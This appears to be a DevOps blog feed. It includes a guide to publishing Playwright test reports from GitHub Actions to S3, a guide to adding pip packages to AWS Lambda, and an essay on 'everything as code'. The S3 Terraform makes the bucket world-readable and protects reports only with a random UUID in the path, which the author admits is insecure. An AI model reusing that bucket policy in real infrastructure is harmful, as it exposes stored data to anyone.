Create alerts to notify you when a user from a certain group is trying to perform an unusual action -- and is trying it repeatedly.
Prioritize temporary credentials assignment instead of perpetual access keys. Access keys should only be used by automated workflows (though even this is a bad practice) and should be rotated regularly. Luckily, automation doesn’t complain if you’re asking it to change the password every month.

Stay secure.

The biggest challenge turned out to be hand-drawing the title picture on a tiny iphone screen. ↩

CI/CD guide: store Playwright test results in AWS S3

Kirill — Mon, 05 May 2025 10:05:45 +0000

Intro

Modern software development is deeply intertwined with software testing. Unit tests, integration tests, end-to-end tests — without them, we would spend much more time fixing trivial bugs instead of actually developing software. One of the most complex test scenarios is end-to-end testing: it verifies real business functionality and replaces manual clicking with automated test suites.

In my job, I've encountered a tool called Playwright for this purpose and was greatly impressed by its capabilities. You can program it to do all the things you do manually -- and run them automatically without needing to open a browser. It's no wonder someone took the time to transform such bloatware as a modern browser into something more automation-friendly. Amazing!

The complication starts when these scenarios need to be integrated into the CI/CD pipeline. It's pretty simple when you trigger tests locally and then review the saved report in your browser. But what if you want to run tests in a centralized CI/CD tool and save the report for further review? And this is where S3 comes to save the day once again!

GitHub Actions setup

The first step in configuring automated tests in the CI/CD pipeline is quite simple and already covered in the Playwright documentation. The workflow configuration is pretty straightforward:

name: Playwright Tests
on:
  push:
    branches: [ main, master ]
  pull_request:
    branches: [ main, master ]
jobs:
  test:
    timeout-minutes: 60
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4
    - uses: actions/setup-node@v4
      with:
        node-version: lts/*
    - name: Install dependencies
      run: npm ci
    - name: Install Playwright Browsers
      run: npx playwright install --with-deps
    - name: Run Playwright tests
      run: npx playwright test
    - uses: actions/upload-artifact@v4
      if: ${{ !cancelled() }}
      with:
        name: playwright-report
        path: playwright-report/
        retention-days: 30

I just want to emphasize a few key points here.

We must use Ubuntu as the base image because Playwright dependencies rely exclusively on Debian package distributions. This should not be an issue when running tests in the pipeline, but for local setups on RHEL-based distributions, it might introduce some fun challenges.

Also, running tests on every pull request and push to main branches can be time-consuming, so it makes perfect sense to cache the bloated browser downloads (which are around 500 MB) and store them for a while. In the following example, we cache them for a day:

    - name: Get date
      id: date
      run: echo "date=$(date +%Y-%m-%d)" >> $GITHUB_OUTPUT
    - name: Cache Playwright browsers
      id: cache-playwright-browsers
      uses: actions/cache@v4
      with:
        path: ~/.cache/ms-playwright
        key: playwright-browsers-${{ steps.date.outputs.date }}

S3 bucket setup

The first part of the configuration is done -- now let’s do something about those reports, right?

Obviously, we need a bucket. So let’s create one. For the sake of simplicity, I’ll provide only the Terraform code here.

# S3 bucket for e2e test reports
resource "aws_s3_bucket" "e2e_test_reports" {
  bucket = "playwright-test-reports"
}

# Bucket ownership controls
resource "aws_s3_bucket_ownership_controls" "e2e_test_reports" {
  bucket = aws_s3_bucket.e2e_test_reports.id

  rule {
    object_ownership = "BucketOwnerEnforced"
  }
}

# Lifecycle configuration for expiration after 30 days
resource "aws_s3_bucket_lifecycle_configuration" "e2e_test_reports" {
  bucket = aws_s3_bucket.e2e_test_reports.id

  rule {
    id     = "delete-30d"
    status = "Enabled"

    expiration {
      days = 30
    }
  }
}

# Public access policy for the bucket
resource "aws_s3_bucket_policy" "e2e_test_reports" {
  bucket = aws_s3_bucket.e2e_test_reports.id
  policy = data.aws_iam_policy_document.e2e_test_reports_public.json
}

# Public access block settings
resource "aws_s3_bucket_public_access_block" "e2e_test_reports" {
  bucket = aws_s3_bucket.e2e_test_reports.id

  block_public_acls       = false
  block_public_policy     = false
  ignore_public_acls      = false
  restrict_public_buckets = false
}

# Policy document for public read access
data "aws_iam_policy_document" "e2e_test_reports_public" {
  statement {
    principals {
      type        = "*"
      identifiers = ["*"]
    }

    actions   = ["s3:GetObject"]
    resources = ["${aws_s3_bucket.e2e_test_reports.arn}/*"]
  }
}

As you can see, the configuration is pretty basic. We enable a lifecycle policy to delete files after 30 days, since there's rarely a need to keep old test reports. We also attach a fairly permissive bucket policy, allowing us to view report files directly in the browser without needing to log into the AWS Web Console.

Finalizing the report publication

After the preparation, we are now ready to run the tests and view the reports directly in our browser.

To upload files from the GitHub Actions pipeline, we need to acquire AWS credentials. Here is the manual on how to configure OIDC in AWS for GitHub, which is supported by aws-actions/configure-aws-credentials@v4. To retrieve the necessary credentials properly, we provide additional permissions: id-token: write and contents: read.

Then we configure the test setup as usual, and at the end, we archive the resulting report in two places: GitHub Artifacts and S3. Since we previously created fairly open access to the files in our bucket, we add a layer of obscurity by including a random UUID string in the file path. This way, any malicious actor -- should they be determined to view our failing tests -- would have to deduce at least three variables: the random UUID (complex), the PR number (trivial), and the GitHub run ID (somewhat complex).

Let’s take a look at how the final GitHub Actions workflow looks.

name: Playwright Tests

on:
  push:
    branches: [ main, master ]
  pull_request:
    branches: [ main, master ]

jobs:
  test:
    timeout-minutes: 60
    runs-on: ubuntu-latest
    env:
      BUCKET_NAME: 'playwright-test-reports'
      AWS_REGION: 'eu-west-1'
      AWS_ASSUMED_ROLE: 'arn:aws:iam::123456789012:role/github-actions-role'
    permissions:
      id-token: write
      contents: read
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: lts/*
      - name: Configure AWS credentials
        uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: ${{ env.AWS_ASSUMED_ROLE }}
          role-session-name: 'github-actions'
          aws-region: ${{ env.AWS_REGION }}
      - id: date
        run: echo "date=$(date +%Y-%m-%d)" >> $GITHUB_OUTPUT
      - name: Install dependencies
        run: npm ci
      - name: Cache Playwright browsers
        id: cache-playwright-browsers
        uses: actions/cache@v4
        with:
          path: ~/.cache/ms-playwright
          key: playwright-browsers-${{ steps.date.outputs.date }}
      - name: Install Playwright browsers
        if: steps.cache-playwright-browsers.outputs.cache-hit != 'true'
        run: npx playwright install --with-deps
      - name: Run Playwright tests
        run: npx playwright test
      - uses: actions/upload-artifact@v4
        if: always()
        with:
          name: playwright-report
          path: playwright-report/
          retention-days: 30
      - name: Upload Test Report to S3
        if: always()
        run: |
          RANDOM_ID="$(uuidgen -r)"
          aws s3 cp --recursive ./playwright-report/ s3://${{ env.BUCKET_NAME }}/${RANDOM_ID}/PR${{ github.event.pull_request.number }}/${{ github.run_id }}/
          echo "Uploaded test report to S3: https://${{ env.BUCKET_NAME }}.s3.${{ env.AWS_REGION }}.amazonaws.com/${RANDOM_ID}/PR${{ github.event.pull_request.number }}/${{ github.run_id }}/index.html"

Of course, this solution is far from secure. To improve the safety of publishing test reports, we can use Signed URLs and serve those instead of direct links. Alternatively, we can modify the bucket policy to allow access only from specific IP addresses, such as your VPN. The possibilities are vast!

Installing Python dependencies in AWS Lambda: easy pip guide

Kirill — Mon, 31 Mar 2025 09:16:03 +0000

Two easy ways to include a pip package for your Python Lambda function.

Defining the problem

I love AWS Lambda functions. For me, they provide a very handy way to run
ad-hoc tasks when I need them, and basically for free. To some extent, I see
them as a replacement for cron tasks when I don't have a 24/7 running server
somewhere -- which, I think, most of us don't.

Lambda is a platform-agnostic, multi-language, (a)synchronous¹ code
execution runtime. It allows for a vast variety of applications, ranging from
simple notification forwarding to full-scale serverless applications.

However, what Lambda lacks is built-in dependency management.

Method 1: Installing a pip package inside the Lambda function

The easiest way to include the necessary pip package is to install it within
the Lambda function itself.

We have limited possibilities for configuring the function runtime. However, we
do have write access to the /tmp location of the underlying environment, and
this is exactly what we will use to install the necessary packages.

import subprocess
import sys

import boto3
from botocore.exceptions import ClientError

subprocess.call(
    "pip install requests -t /tmp/ --no-cache-dir".split(),
    stdout=subprocess.DEVNULL,
    stderr=subprocess.DEVNULL,
)
sys.path.insert(1, "/tmp/")
import requests

First, we use the subprocess and sys modules to call a subprocess and
modify the search path so that the installed package can be accessed.

Then, we call the subprocess function to install the pip package into the
/tmp folder.

Finally, we import the freshly installed package as usual.

Considerations and limitations

This method is quite easy and straightforward. It allows us to add a few lines
of code to a function without the necessity of managing external dependencies
(which we will discuss later).

However, this solution may not be ideal in situations where you have complex
dependencies used across multiple functions. Since Lambda functions are billed
based on their execution time, the more dependencies are installed this way,
the higher the cost will be and the slower the code will execute.

Method 2: Creating Lambda layers

This method is a bit more complicated.

To properly create a Lambda layer that provides the necessary dependencies, the
package must be structured in a specific way.

First, we create a virtual environment for the required package (or packages):

python3 -m venv lambda_layer
source lambda_layer/bin/activate
pip install requests

As a result, we get the following directory structure in our Lambda layer:

lambda_layer/
├── bin
│   ├── activate
│   ├── activate.csh
│   ├── activate.fish
│   ├── Activate.ps1
│   ├── normalizer
│   ├── pip
│   ├── pip3
│   ├── pip3.13
│   ├── python -> python3
│   ├── python3 -> /usr/bin/python3
│   └── python3.13 -> python3
├── include
│   └── python3.13
├── lib
│   └── python3.13
│       └── site-packages
│           ├── certifi
│           ├── certifi-2025.1.31.dist-info
│           ├── charset_normalizer
│           ├── charset_normalizer-3.4.1.dist-info
│           ├── idna
│           ├── idna-3.10.dist-info
│           ├── pip
│           ├── pip-24.2.dist-info
│           ├── requests
│           ├── requests-2.32.3.dist-info
│           ├── urllib3
│           └── urllib3-2.3.0.dist-info
├── lib64 -> lib
└── pyvenv.cfg

However, we don’t need all of these contents. What we actually need is only the
lib directory. So, we take it and archive it:

mkdir python
cp -r lambda_layer/lib/ python/
zip -r python-requests.zip python/

The last step is to upload this layer to AWS:

aws lambda publish-layer-version --layer-name python-requests-layer \
    --zip-file fileb://python-requests.zip \
    --compatible-runtimes python3.13 \
    --compatible-architectures "arm64"

Now, this layer will be available for us to use in our functions:

Considerations and limitations

This method allows for more complex and extensive dependencies inside your
Lambda functions. It provides immutable package versions in your runtime.
However, it requires managing external dependencies and their versions
manually².

In situations involving multiple interconnected package dependencies, the
safest approach is to create a single Lambda layer containing all the required
packages from your local machine. Just make sure that the code and its
dependencies work as intended.

Lambda functions can be executed both synchronously and asynchronously. ↩
Which also can be automated pretty easily: uploading a new layer requires just seven lines of a shell script and a requirements.txt file. ↩

Everything* as code

Kirill — Fri, 07 Mar 2025 13:34:28 +0000

Hello, dear visitor. Seeing you here today means you're likely a developer, engineer, coder, or some combination of these -- and that you're familiar with the term "code". For several decades engineers all over the world were writing code. This code, first and foremost, was meant to solve problems. And today I would like to tell you about solving even more problems with the power of code. I will show you why and how we should use code for more and more scenarios across our professional and personal lives.

Information as code

Before diving into 21st century, let’s step back and consider what "code" really means. Today, we use it for programming, automation, and infrastructure, but the idea of encoding information in a structured, repeatable way has been around for centuries.

What comes to mind when you hear the word "code"? Most of us (myself included) immediately think of a programming language.

But the word "code" wasn’t originally popularized by programmers. Long before computers existed, humans developed ways to encode information, often to preserve knowledge, communicate securely. One of the earliest examples comes from cryptography.

Cryptography is one of my many interests. Ciphers, cryptography algorithms, encryption, all that jazz. The practice of encoding information goes back to Ancient Egypt, but one of the earliest well-known encryption methods is Caesar’s Cipher (also called Caesar’s Code).

Caesar’s Cipher is a simple technique: shifting letters forward in the alphabet to obscure the original message, making it unreadable to anyone who doesn’t know the shift pattern. The result? Encoded information. Information hidden as (somewhat) code.

At its core, this is the same principle that modern software engineering follows. We structure information in standardized formats so it can be stored, processed, and used reliably. Whether it’s YAML configurations, JSON APIs, or structured documentation, we encode information in ways that make it easy to retrieve, automate, and keep track of.

Logic as code

Now let's get back to our time.

Programmers have been writing software at least since 1940. This software is meant to solve different problems: calculate the sum of two numbers, print "Hello World", launch people in space and send memes to your friends. What all these examples have in common? They encapsulate the logic. An algorithm that describes an order of actions to achieve the necessary result.

Indifferent to complexity, all software is alike in this regard. They have an input: be that a number, a certain trigger, a file. They have from one to infinity steps in their core process, each of which performs a certain action. And they have an output: a rocket engine that's starting, a package with part of a meme flying over fiber optics, or a number.

And the logic presented in this very part is described via code.

Why is it this way?

Thinking rocks (computers) think in a certain way. In a very structured way. In a way that is predictable and repeatable. The same way the code that is written for these computers have to be predictable and repeatable. This way, we can make sure that, unlike meat people, when a computer is asked to run "Hello World" a million times, it will do exactly that -- and not complain on the 10th repetition that "This is pointless" or "Go hello yourself".

Making logic structured, reliable, repeatable helps people offload some of mental capacity on other things. For example, write more code! Create games! Or learn how to play violin!

Would you like to know more?

Head on to my blog to continue reading the rest of the article!

DEV Community: Kirill

Centralized EKS monitoring across multiple AWS accounts

Cluster observability

Observability fundamentals

Cross-account observability

Cross-account networking options

VPC Peering

Pros

Cons

AWS Transit Gateway

Pros

Cons

AWS NLBs + VPC Endpoints and VPC Endpoint Services

Pros

Cons

AWS VPN / Direct Connect

Pros

Cons

Public Internet + Authorization + TLS

Pros

Cons

Chosen cross-account solution

Operational considerations

Closing thoughts

Annex

A. Summarizing table

B. Price breakdown

Option 1: VPC Peering

Option 2: AWS Transit Gateway

Option 3: AWS NLBs + VPC Endpoints + Services

Option 4a: Site-to-Site VPN

Option 4b: AWS Direct Connect

Option 5: Public Internet + TLS + Auth

C. IaC snippets

Product account

Root account

Solving EKS Cluster Games

Secret Seeker

Registry Hunt

Image Inquisition

Pod Break

Container Secrets Infrastructure

Afterword

Kubernetes to RDS: secure connections via IAM roles without passwords

The setup

Setting up the database

Creating a policy and role

Configuring Pod Identity Associations

Configuring Kubernetes ServiceAccount and workload

Afterthought

EKS Auto Mode custom NodeClasses and NodePools

EKS Auto Mode

NodeClass and NodePool

NodeClass

NodePool

Creating Custom NodeClasses and NodePools

Solving The Big IAM Challenge

Table of Contents

Intro

Challenge 1: Buckets of Fun

Challenge 2: Google Analytics

Challnge 3: Enable Push Notifications

Challenge 4: Admin only?

Challenge 5: Do I know you?

Challenge 6: One final push

Post Mortem

CI/CD guide: store Playwright test results in AWS S3

Intro

GitHub Actions setup

S3 bucket setup

Finalizing the report publication

Installing Python dependencies in AWS Lambda: easy pip guide

Defining the problem

Method 1: Installing a pip package inside the Lambda function

Considerations and limitations

Method 2: Creating Lambda layers

Considerations and limitations

Everything* as code

Information as code

Logic as code